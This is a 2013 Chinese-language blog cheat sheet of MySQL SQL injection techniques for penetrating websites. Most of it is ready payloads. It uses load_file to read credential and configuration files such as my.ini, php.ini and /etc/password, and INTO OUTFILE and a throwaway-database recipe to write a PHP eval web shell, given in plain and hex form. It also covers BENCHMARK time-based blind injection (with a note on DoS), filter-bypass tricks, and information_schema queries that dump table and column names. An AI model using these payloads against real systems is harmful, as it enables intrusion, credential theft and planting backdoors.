mysql-常用注入渗透手法

mysql:

内置函数常用函数:left(), mid(), ord(),  length(), benchmark(),load_file(), outfile(), concat(), 

系统重要信息:system_user(), user(), current_user, session_user(), database(), version(), 

ASCII码:select char(97,100,109,105,110 ) 回显:admin

16进制:select 0x61646D696E 回显:admin

注释方法: /*  --

使用 /**/ 或者 + 代替空格

@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

 

 load_file:linux,windows写全路径时候,c:/1.txt, /var/www/1.php  路径均为左斜杠 /

c:/windows/php.ini  c:/winnt/php.ini   c:/windows/my.ini //管理员登陆过MYSQL会留下密码和用户名  c:/winnt/my.ini   c:/boot.ini  

/etc/password /   /usr/local/httpd/conf/httpd.conf //也许能找到网站默认目录   /usr/local/apache2/conf/httpd.conf //也许能找到网站默认目录哦!FreeBSD下:

load_file(char(47))  列出了此FreeBSD系统的根目录

读不出来的原因:1.权限不够:  and (select count(*) from mysql.user)>0--  如果返回OK,则表示有权限。如果Denied则NO

        2.回显长度限制,Substring(load_file(A),0,50),Substring(load_file(A),50,100)一步一步读  3.concat()拼接

 

outfile:写入条件:1. 未过滤' '  2.权限  3.得到网站物理路径

已经上传了JPG小马,  union select 1,load_file( /var/www/xiaoma.jpg),3,4,5,6 into outfile '/var/www/xiaoma.php'/*

直接写入小马,union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/var/www/xm.php'/*

                    ||

                   等价于

                    ||

            0x3C3F706870206576616C28245F504F53545B636D645D293F3E

数据库导出马:

create database Supers;
use Supers;
create table SuperT(code text);
insert into SuperT(code) values ("<?php @eval($_POST['cmd']);?>");
select * from SuperT into outfile "D:\\xxx\\shell.php";
drop database Supers;
View Code

 

 

BENCHMARK:重复执行。不仅可以在display_errors=Off时候,无法判断SQL正确与否。让我们盲注的时候判断技巧。而且可以用来DDOS攻击数据库!

id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
UNION SELECT IF(SUBSTRING(user_password,1 ,1) = CHAR(52),BENCHMARK(5000000,md5('test')),null) FROM mb_users WHERE user_group = 1; 
View Code

 

绕过防注入:
id=-255+union+/*!select*/+1,2,3,4    +号代替被顾虑的空格, !

and 1=2 un%ion sel%ect 1,2,3,4,sys%tem_us%er()  %绕过被过滤的SQL语句

 

 

 爆表

select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16进制database() order by table_schema limit 0,1) t order by table_schema desc)t limit 1-- 爆出第1个表

select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16进制database() order by table_schema limit 1,1) t order by table_schema desc)t limit 1-- 爆出第2个表

......爆出所有有用的表后,假如得到admin表: 0x61646D696E

select 0,0,concat(cast(count(*) as char)),0 from information_schema.columns where table_name=0x61646D696E and table_schema=database() limit 1--  爆出ADMIN表的列数

select 0,0,concat(column_name) from (select * from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=database() order by 1 limit 0,1) t order by 1 desc)t limit 1-- 爆出ADMIN表第一个列。即索引为0的列...

 

root或者足够权限可以爆数据库用户帐户,密码:user password

 

 

 

posted @ 2013-08-16 21:11  群叔  阅读(1579)  评论(0编辑  收藏  举报